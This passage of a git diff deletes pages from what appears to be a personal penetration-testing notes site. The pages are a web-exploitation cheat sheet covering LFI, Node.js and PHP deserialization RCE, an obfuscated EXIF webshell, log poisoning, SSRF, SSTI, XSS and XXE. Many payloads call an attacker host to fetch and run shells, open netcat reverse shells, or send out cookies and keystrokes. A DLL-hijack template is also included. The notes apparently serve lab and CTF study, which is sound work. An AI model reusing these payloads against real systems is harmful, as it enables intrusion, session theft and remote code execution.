  • /root/.ssh/id_rsa
    • -
  • /var/log/apache2/access.log
    • -
  • C:\boot.ini
    • -
  • /proc/self/fd/xx
    • -
  • /proc/version
    • -
  • /proc/cmdline
    • -
  • -

    /proc/[0-9]*/fd/[0-9]*

    -
    • -
  • -

    sess_<cookieValue> if the location of the session file is known. Some paths are

    -
    • -
-
c:\Windows\Temp
-/tmp/
-/var/lib/php5
-/var/lib/php/session
-
- -

Base64 Encoding via PHP

-
    -
  • Circumvent filter via encoding local files included ins a GET parameter value
    • -
  • Read PHP files through encoding them, so they won't be executed
    • -
-
curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
-curl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd
-
- -
    -
  • Use encoded data as input through the parameter
    • -
-
curl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=
-
- -

Tricks

-
    -
  • Terminate query with %00 or 0x00 does the trick until PHP 5.3.4
    • -
  • Terminate query with /.
    • -
  • ..//..//..//file, double slashes
    • -
  • URL encode path
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/methodology.html b/build/exploit/web/methodology.html deleted file mode 100644 index 866fc77..0000000 --- a/build/exploit/web/methodology.html +++ /dev/null @@ -1,187 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -

[TOC] -We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.

-
    -
  1. The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. Be aware that Wappalyzer is not always 100% accurate. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as server or x-powered-by can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.
    2. -
  2. Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.
    3. -
  3. We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. In other words, can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline "accepted" file which we can base further testing on.
      -
    • An important Gobuster switch here is the -x switch, which can be used to look for files with specific extensions. For example, if you added -x php,txt,html to your Gobuster command, the tool would append .php, .txt, and .html to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.
      • -
    -
    4. -
  4. Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.
    5. -
-

Assuming that our malicious file upload has been stopped by the server, here are some ways to ascertain what kind of server-side filter may be in place:

-
* If you can successfully upload a file with a totally invalid file extension (e.g. testingimage.invalidfileextension) then the chances are that the server is using an extension blacklist to filter out executable files. If this upload fails then any extension filter will be operating on a whitelist.
-* Try re-uploading your originally accepted innocent file, but this time change the magic number of the file to be something that you would expect to be filtered. If the upload fails then you know that the server is using a magic number based filter.
-* As with the previous point, try to upload your innocent file, but intercept the request with Burpsuite and change the MIME type of the upload to something that you would expect to be filtered. If the upload fails then you know that the server is filtering based on MIME types.
-* Enumerating file length filters is a case of uploading a small file, then uploading progressively bigger files until you hit the filter. At that point you'll know what the acceptable limit is. If you're very lucky then the error message of original upload may outright tell you what the size limit is. Be aware that a small file length limit may prevent you from uploading the reverse shell we've been using so far.
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/nodejs/deserialization.html b/build/exploit/web/nodejs/deserialization.html deleted file mode 100644 index f8930c3..0000000 --- a/build/exploit/web/nodejs/deserialization.html +++ /dev/null @@ -1,194 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

De/Serialization

-
    -
  • _$$ND_FUNC$$_function (){} is executed after parsing
    • -
-

Example Payloads

-
    -
  • Encode, send and wait with sudo tcpdump -i <interface> icmp
    • -
-
{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('ping -c 10 <attacker-IP>', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
-
- -
    -
  • reverse shell via
    • -
-
{"pwn": "_$$ND_FUNC$$_function () {\n \t require('child_process').exec('curl <attacker-IP>:8000 | bash', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/command_injection.html b/build/exploit/web/php/command_injection.html deleted file mode 100644 index 90b40ab..0000000 --- a/build/exploit/web/php/command_injection.html +++ /dev/null @@ -1,192 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

PHP Command Injection

-

Injecting commands to execute code on the server side via php.

- -

Blind Command Injection

-

Attacker does not register a direct response.

-

Detect Blind Command Injection

-

Try to save output to URI resource like output.php

-

Active Command Injection

- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/password_reset.html b/build/exploit/web/php/password_reset.html deleted file mode 100644 index 9ea7343..0000000 --- a/build/exploit/web/php/password_reset.html +++ /dev/null @@ -1,180 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Password Reset

-
    -
  • Using a password reset while inserting an email address via GET and POST method.
    • -
  • $_REQUEST as an array favors POST over GET. So, sending the attacker email address via POST with the GET query parameter.
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/php_base64_filter.html b/build/exploit/web/php/php_base64_filter.html deleted file mode 100644 index 51195ad..0000000 --- a/build/exploit/web/php/php_base64_filter.html +++ /dev/null @@ -1,181 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

PHP Filter

-
    -
  • Include into GET query, and get index page, for example
    • -
-
<URL>/?view=php://filter/read=convert.base64-encode/resource=./dog/../index
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/php_image_exif.html b/build/exploit/web/php/php_image_exif.html deleted file mode 100644 index 8988eb8..0000000 --- a/build/exploit/web/php/php_image_exif.html +++ /dev/null @@ -1,223 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

PHP Payload in Image ExifData

-
    -
  • Test
    • -
-
exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" test-USERNAME.jpeg.php
-
- -
    -
  • Build Payload with AV evasion
    • -
-
<?php
-    $cmd = $_GET["wreath"];
-    if (isset($cmd)){
-        echo "<pre>" . shell_exec($cmd) . "</pre>";
-    }
-    die();
-?>
-
- - -
<?php \$p0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$p0)){echo base64_decode('PHByZT4=').shell_exec(\$p0).base64_decode('PC9wcmU+');}die();?>
-
- -
    -
  • Upload and execute commands with get parameter ?wreath=systeminfo
    • -
-

Uploading Reverse through Webshell

-
    -
  • Parameter for Webshell
    • -
-
curl http://ATTACKER_IP/nc.exe -o c:\\windows\\temp\\nc-USERNAME.exe
-
- -
    -
  • Trigger uploaded netcat
    • -
-
powershell.exe c:\\windows\\temp\\nc-USERNAME.exe ATTACKER_IP ATTACKER_PORT -e cmd.exe
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/php_user_agent_rce.html b/build/exploit/web/php/php_user_agent_rce.html deleted file mode 100644 index 73fcf81..0000000 --- a/build/exploit/web/php/php_user_agent_rce.html +++ /dev/null @@ -1,201 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

RCE inside HTTP Request

-
    -
  • a.k.a. Log Poisoning
    • -
  • User Agent can be filled with php code
    • -
-
GET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
-Host: 10.10.59.238
-User-Agent: <?php file_put_contents('monkey.php',file_get_contents('http://<attacker-IP>:<attacker-Port>/shell.php')); ?>
-[...]
-
- -
    -
  • copied from browser as curl command:
    • -
-
curl 'http://10.10.211.157/?ext=%20HTTP/1.1&view=./dog/../../../../var/log/apache/access.log' -H "User-Agent: <?php file_put_contents('monkey.php', file_get_contents('http://10.9.7.193:8000/shell.php'));?>"
-
- -
    -
  • go to the access log
    • -
-
10.10.211.157/?ext=.log&view=./dog/../../../../var/log/apache2/access
-
- -
    -
  • Afterwards visit 10.10.211.157/monkey.php
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/preload_lib.html b/build/exploit/web/php/preload_lib.html deleted file mode 100644 index a6bb7c8..0000000 --- a/build/exploit/web/php/preload_lib.html +++ /dev/null @@ -1,197 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Preload Library

- -

Usage

-
    -
  • Create lib, find path via <URL>/phpinfo.php
    • -
-
echo "#!/usr/bin/env bash" > rev.sh
-echo "cat /etc/passwd > <basepath>/output.txt" >> rev.sh
-
-python2 ./chankro.py --arch 64 --input rev.sh --output chan.php --path <basepath>
-
- -
    -
  • Put into image file via exiftool or write magic header
    • -
  • Upload
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/php/unserialize.html b/build/exploit/web/php/unserialize.html deleted file mode 100644 index f2b7be7..0000000 --- a/build/exploit/web/php/unserialize.html +++ /dev/null @@ -1,206 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Unserialize

- -
<?php
-class FormSubmit {
-    public $form_file = 'messages.php';
-    public $message = '<?php
-    if(isset($_GET[\'cmd\']))
-    {
-        system($_GET[\'cmd\']);
-    }
-?>';
-}
-
-print urlencode(serialize(new FormSubmit));
-?>
-
- -
<?php class file 
-    { 
-        public $file = 'rev.php'; public $data = '<?php shell_exec("nc -e /bin/bash $TARGET_IP 4455"); ?>'; 
-    } 
-    echo (serialize(new file)); 
-?>
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/re_registration.html b/build/exploit/web/re_registration.html deleted file mode 100644 index 3325e50..0000000 --- a/build/exploit/web/re_registration.html +++ /dev/null @@ -1,184 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Re-registration

-

Let's understand this with the help of an example, say there is an existing user with the name admin and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter " admin"(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. And that new user will also be able to see all the content present under the user admin.

-

Usage

-
    -
  • Re-register. The name is taken, that's the point, but alter the string
    • -
-
 try to register a user name darren, you'll see that user already exists so then try to register a user " darren" and you'll see that you are now logged in and will be able to see the content present only in Darren's account which in our case is the flag that you need to retrieve.
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/remote_file_inclusion.html b/build/exploit/web/remote_file_inclusion.html deleted file mode 100644 index 47e62e4..0000000 --- a/build/exploit/web/remote_file_inclusion.html +++ /dev/null @@ -1,189 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Remote File Inclusion

-

Usage

-
    -
  • Use a GET query parameter to include an attacker URL.
    • -
-
https://test.com/files.php?file=http://<attacker-IP>:<attacker-Port>/reverse_shell.txt
-
- -
    -
  • Payload may be PHP for example, but should not end in executable file extensions. The payload is executed locally, otherwise.
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/ssrf/iframe.html b/build/exploit/web/ssrf/iframe.html deleted file mode 100644 index 1b66562..0000000 --- a/build/exploit/web/ssrf/iframe.html +++ /dev/null @@ -1,201 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

SSRF through iframe

-
    -
  • taken from Jomar's Website
    • -
  • Upload iframe with attacker server and php code ready to be executed. Redirect to a local file on the server
    • -
-
<?php
-$loc = "http://127.0.0.1/";
-
-if(isset($_GET['a'])){
-    $loc = $_GET['a'];
-}
-header('Location: '.$loc);
-?>
-
- -
    -
  • Payload looks like this
    • -
-
<iframe src="http://$ATTACKER_IP:4711/ssrf.php?a=file:///etc/passwd"/>
-
- -
    -
  • Start a php adhoc server and run it
    • -
-
php -S 0.0.0.0:4711
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/ssrf/ssrf.html b/build/exploit/web/ssrf/ssrf.html deleted file mode 100644 index dde9b30..0000000 --- a/build/exploit/web/ssrf/ssrf.html +++ /dev/null @@ -1,258 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Server Side Request Forgery (SSRF)

-

is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.

-

Usage

-

Sanity Test Service

-

Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.

-
http://127.0.0.1:3306
-http://localhost:5432
-http://0.0.0.0:53
-
- -
    -
  • IPv6
    • -
-
http://[::]:3306
-http://:::3006
-
- -
    -
  • Cloud info in Link Local IP range 169.254.0.0/16
    • -
-
169.254.169.254 --> AWS info
-169.254.169.253 --> DNS AWS VPC
-169.254.169.123 --> Stratum 3 NTP
-127.0.0.1:53    --> systemd DNS
-
- - -

Reading files

-
file:///etc/passwd
-
- -

Request Forgery through GET parameters

-
    -
  • Request app server through parameter
    • -
-
http://<ssrf-Server>/?url=http://<AppServer>/secret/url
-
- -
    -
  • Request remote resources, or path traversal on remote resource
    • -
-
http://<ssrf-Server>/?url=/item?id=42
-http://<ssrf-Server>/?url=../../etc/passwd
-
- -
    -
  • Request subdomain URL and cut following unnecessary parameters through &x=&id=42. Parameter x does not exist. So, it will be ignored
    • -
-
http://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42
-
- -

HTML Form

-

User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.

-
<input type="radio" name="avatar" value="assets/avatars/6.png">
-
- -

This may be used for path traversal

-
<input type="radio" name="avatar" value="x/../private">
-
- -

Check return value of the form for result.

-

Tricks

-
    -
  • localtest.me resolves to 127.0.0.1, may be used to extend a domain inside a parameter to redirect to localhost.
    • -
-

Tools

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/ssti/ssti.html b/build/exploit/web/ssti/ssti.html deleted file mode 100644 index 977a9cb..0000000 --- a/build/exploit/web/ssti/ssti.html +++ /dev/null @@ -1,252 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Server Side Template Injection (SSTI)

-

Pass in parameters to control the template.

-

Usage

-
    -
  • Sanity test
    • -
-
{{2+2}} 
-
- -
    -
  • Flask template LFI
    • -
-
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
-
- -
    -
  • Executing commands
    • -
-
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
-
- -
    -
  • RCE on server
    • -
-
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
-
- -

Identification of Template Engine

-

Identify via payload checking -* Smarty: a{*comment*}b -* Mako: ${"z".join("ab")} -* Twig or Jinja2

-
{{7*7}}
-{{7*'7'}}
-
- -

Tools

-

TPlmap

-
git clone https://github.com/epinna/tplmap.git
-pip2 install -r requirements
-
- -

|HTTP Method|Parameter| -|-----------|---------| -|GET|tplmap -u <url>/?<vulnparam>| -|POST|tplmap -u <url> -d '<vulnparam>'|

-
    -
  • Using remote command
    • -
-
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"
-
- -

Countermeasure

-
    -
  • Remove everything in user input but alnum. Passing data, not data to f-string.
    • -
-
input = re.sub("[^A-Za-z0-9]", "", input)
-template = "User input is {{ input }}"
-return render_template_string(template, input=input)
-
- -

Bypass

-
    -
  • Save reverse shell as rev
    • -
-
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}}
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/url_forgery.html b/build/exploit/web/url_forgery.html deleted file mode 100644 index 7c8eb2d..0000000 --- a/build/exploit/web/url_forgery.html +++ /dev/null @@ -1,179 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

URL Forgery

-
    -
  • Just change parts of the URL
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/wordpress.html b/build/exploit/web/wordpress.html deleted file mode 100644 index 132f6dc..0000000 --- a/build/exploit/web/wordpress.html +++ /dev/null @@ -1,205 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Wordpress

-

ure_user_roles

- -
&ure_other_roles=administrator
-
- -

Shell Upload

-
    -
  • Msfconsole
    • -
-
exploit/unix/webapp/wp_admin_shell_upload
-
- -

Template & Plugin Editing

-
    -
  • If template injection does not work, use plugin injection on akismet.php
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/xpath.html b/build/exploit/web/xpath.html deleted file mode 100644 index 69655e8..0000000 --- a/build/exploit/web/xpath.html +++ /dev/null @@ -1,185 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

XPATH injection

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/xss.html b/build/exploit/web/xss.html deleted file mode 100644 index 4fee273..0000000 --- a/build/exploit/web/xss.html +++ /dev/null @@ -1,362 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Cross-Site Scripting

-

A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.

-

Stored XSS

-

This is where a malicious string originates from the websites database. Such as (stored in a db) -* User profiles -* Chats and comments -* Part of link

-
    -
  • Blind xss is stored inside the app but effects are only visible by proxy, xsshunter.
    • -
-

Examples

-
    -
  • Sanity test by changing DOM content
    • -
-
<script>document.getElementById('myIdName').innerHTML="napf"</script>
-
- -
    -
  • Cookie stealing
    • -
-
<script>document.location='/log/'+document.cookie</script>
-
- -
* Navigte to `/logs` and take sid
-
- -
    -
  • Open nc port and collect cookies
    • -
-
<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
-<script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>
-
- -

Reflected XSS

-

In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload. -* URL parameters inside GET queries -* File paths

-

Usage

-

As script inside parameter

-
http://example.com/search?keyword=<script>...</script>
-
- -
    -
  • Show server IP
    • -
-
http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>
-
- -
    -
  • Session stealing, base64 encoded
    • -
-
<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>
-
- -
* open netcat binder to catch the http queries
-
- -

DOM based XSS

-

With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:

-
var keyword = document.querySelector('#search')
-keyword.innerHTML = <script>...</script>
-
- -

Usage

-
    -
  • Find the sub-object inside the document
    • -
-
test" onmouseover="alert('YO!')"
-
- -
    -
  • Show cookie
    • -
-
test" onmouseover="alert(document.cookie)"
-
- -

Bypass Filters

-
    -
  • <script> sanitizing
    • -
-
<img src=x onerror=alert('Hello');>
-
- -

or

-
<</script>script>alert("1");<</script>/script>
-
- -
    -
  • alert() sanitizing
    • -
-
0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"
-
- -

or

-
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
-
- -
    -
  • Strings, here its Hello
    • -
-
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
-
- -

Portscanner via Javascript

-
    -
  • By requesting the favicon, checking port 80
    • -
-
 <script>
-โ€ƒfor (let i = 0; i < 256; i++) {
-โ€ƒโ€ƒlet ip = '192.168.0.' + i
-
-โ€ƒโ€ƒlet code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
-โ€ƒโ€ƒdocument.body.innerHTML += code
-โ€ƒ}
-</script> 
-
- - -

Keylogger

-
 <script type="text/javascript">
-โ€ƒlet l = ""; // Variable to store key-strokes in
-โ€ƒdocument.onkeypress = function (e) { // Event to listen for key presses
-โ€ƒโ€ƒโ€ƒl += e.key; // If user types, log it to the l variable
-โ€ƒโ€ƒโ€ƒconsole.log(l); // update this line to post to your own server
-โ€ƒ}
-</script> 
-
- -
    -
  • base64 encoded keylogger
    • -
-
<script>
-document.onkeypress = function (e) {
-    fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );
-}
-</script>
-
- -

Tab Nabbing

-
    -
  • Redirection of source after opening a tab through a provisioned link and back referencing
    • -
  • Hacktricks Tabnabbing
    • -
-

Tricks and Tips

- -
</tag><script>alert(1);</script>
-
- -

Protection Methods

-

There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.

-
    -
  1. -

    Escaping - Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.

    -
    2. -
  2. -

    Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.

    -
    3. -
  3. -

    Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity <

    -
    4. -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/xxe/wp_xxe_.html b/build/exploit/web/xxe/wp_xxe_.html deleted file mode 100644 index 074c4b3..0000000 --- a/build/exploit/web/xxe/wp_xxe_.html +++ /dev/null @@ -1,212 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

CVE-2021-29447

-
    -
  • Upload of wav file has following consequences
      -
    • Arbitrary File Disclosure for example wp-config.php
      • -
    • Server Side Request Forgery
      • -
    -
    • -
-

Usage

-
    -
  • Create wav Payload
    • -
-
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<attacker-IP>:<Port>/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
-
- -
    -
  • Create dtd Payload, which is downloaded from attacker machine by the wp instance. Following payload
    • -
-
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
-<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://<attacker-IP>:<attackerPort>/?p=%file;'>" >
-
- -
    -
  • Launch http server
    • -
-
php -S 0.0.0.0:8000
-python -m http.server
-
- -
    -
  • Copy returned base64 into php file
    • -
-
<?php echo zlib_decode(base64_decode('<returnedBase64>')); ?> 
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/web/xxe/xml_external_entity.html b/build/exploit/web/xxe/xml_external_entity.html deleted file mode 100644 index 52a56d1..0000000 --- a/build/exploit/web/xxe/xml_external_entity.html +++ /dev/null @@ -1,264 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

XML External Entity (XXE)

-

An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.

-

There are two types of XXE attacks: in-band and out-of-band (OOB-XXE). -1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.

-
    -
  1. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.
    2. -
-

Document Type Definition (DTD)

-

A DTD defines the structure and the legal elements and attributes of an XML document.

-
    -
  • Example file content of note.dtd
    • -
-
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
-
- -
    -
  • !DOCTYPE note - Defines a root element of the document named note
    • -
  • !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
    • -
  • !ELEMENT to - Defines the to element to be of type "#PCDATA"
    • -
  • !ELEMENT from - Defines the from element to be of type "#PCDATA"
    • -
  • !ELEMENT heading - Defines the heading element to be of type "#PCDATA"
    • -
  • -

    !ELEMENT body - Defines the body element to be of type "#PCDATA"

    -

    NOTE: #PCDATA means parseable character data.

    -
    • -
  • -

    Resulting XML doc follows

    -
    • -
-
<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE note SYSTEM "note.dtd">
-<note>
-    <to>falcon</to>
-    <from>feast</from>
-    <heading>hacking</heading>
-    <body>XXE attack</body>
-</note>
-
- -

Replacing XML content

-
    -
  • Name in the example
    • -
-
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
- <userInfo>
-  <firstName>falcon</firstName>
-  <lastName>&name;</lastName>
- </userInfo>
-
- -
    -
  • System call inside entity
    • -
-
<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
-<root>
-<name>sdafsa</name>
-<tel>789731421</tel>
-<email>&xxe;</email>
-<password>12345</password>
-</root>
-
- -
<?xml version="1.0"?>
-<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
-<root>&read;</root>
-
- -
    -
  • PHP expect using syscalls
    • -
-
<?xml version="1.0"?>
-<!DOCTYPE foo [ <!ELEMENT foo ANY >
-<!ENTITY xxe SYSTEM "expect://id" >]>
-<root>
-    <email>&xxe;</email>
-    <password>12345</password>
-</root>
-
- -

Tools

- - -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/windows/dll_hijacking/dll_hijacking.html b/build/exploit/windows/dll_hijacking/dll_hijacking.html deleted file mode 100644 index 8e13932..0000000 --- a/build/exploit/windows/dll_hijacking/dll_hijacking.html +++ /dev/null @@ -1,230 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

DLL Hijacking

-

Search Orders

-
    -
  • -

    SafeDllSearchMode enabled searches paths in following order:

    -
      -
    • cwd of executable
      • -
    • System directory, GetSystemDirectory
      • -
    • 16-bit system directory
      • -
    • Windows, GetWindowsDirectory
      • -
    • pwd
      • -
    • PATH
      • -
    -
    • -
  • -

    SafeDllSearchMode disabled searches in following order:

    -
      -
    • cwd of executable
      • -
    • pwd
      • -
    • System directory
      • -
    • 16-bit system directory
      • -
    • Windows directory
      • -
    • PATH environment variable
      • -
    -
    • -
-

Template

-
#include <windows.h>
-
-BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
-    if (dwReason == DLL_PROCESS_ATTACH) {
-        system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
-        ExitProcess(0);
-    }
-    return TRUE;
-}
-
- -
    -
  • Compilation via
    • -
-
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
-
- -
    -
  • Upload to target
    • -
  • Restart dllsvervice via
    • -
-
sc stop dllsvc
-sc start dllsvc
-
- -
-
